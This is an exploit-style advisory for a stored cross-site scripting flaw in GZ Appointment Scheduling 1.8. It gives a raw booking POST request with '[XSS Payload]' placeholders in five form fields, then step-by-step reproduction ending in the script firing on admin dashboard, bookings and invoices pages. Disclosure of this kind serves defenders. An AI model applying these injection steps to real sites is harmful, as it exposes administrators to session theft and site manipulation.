GZ Appointment Scheduling 1.8 Cross Site Scripting

`┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
││ C r a C k E r ┌┘  
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
  
┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ [ Vulnerability ] ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
: Author : CraCkEr :  
│ Website : https://gzscripts.com/php-gz-appointment-scheduling-script.html │  
│ Vendor : GZ Scripts │  
│ Software : GZ Appointment Scheduling 1.8 │  
│ Vuln Type: Stored XSS │  
│ Impact : Manipulate the content of the site │  
│ │  
│────────────────────────────────────────────────────────────────────────────────────────│  
│ ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
: :  
│ Release Notes: │  
│ ═════════════ │  
│ │  
│ Allow Attacker to inject malicious code into website, give ability to steal sensitive │  
│ information, manipulate data, and launch additional attacks. │  
│ │   
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
  
Greets:  
  
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09   
  
CryptoJob (Twitter) twitter.com/0x0CryptoJob  
  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ © CraCkEr 2023 ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
  
  
## Stored XSS  
  
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POST /PHPGZAppointment/load.php?controller=GzFront&action=step5 HTTP/1.1  
  
service_id=1&employee_id=1&timeslot=1688119200&lang=3&date=2023-06-30&title=mr&male=male&first_name=[XSS Payload]&second_name=[XSS Payload]&phone=[XSS Payload]&email=cracker%40infosec.com&company=xxx&address_1=[XSS Payload]&address_2=xxx&city=xxx&state=xxx&zip=xxx&country=[XSS Payload]&additional=xxx&captcha=murimy&terms=1&lang=3  
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POST parameter 'first_name' is vulnerable to XSS  
POST parameter 'second_name' is vulnerable to XSS  
POST parameter 'phone' is vulnerable to XSS  
POST parameter 'address_1' is vulnerable to XSS  
POST parameter 'country' is vulnerable to XSS  
  
  
## Steps to Reproduce:  
  
1. As a [Guest User] Choose any [Employee] & Select the Day and the Time  
2. Inject your [XSS Payload] in "First Name"  
3. Inject your [XSS Payload] in "Last Name"  
4. Inject your [XSS Payload] in "Phone"  
5. Inject your [XSS Payload] in "Address Line 1"  
6. Inject your [XSS Payload] in "Country"  
  
  
7. Accept with terms & Press [Booking]  
XSS Fired on Local User Browser  
  
8. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php#!/GzAdmin/home/)  
XSS Will Fire and Executed on his Browser  
  
9. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php#!/GzBooking/index/)  
XSS Will Fire and Executed on his Browser  
  
10. When ADMIN visit [Invoices ] - [All Invoices] to check [Pending Invoices] on this Path (https://website/index.php#!/GzInvoice/index/)  
XSS Will Fire and Executed on his Browser  
  
  
[-] Done  
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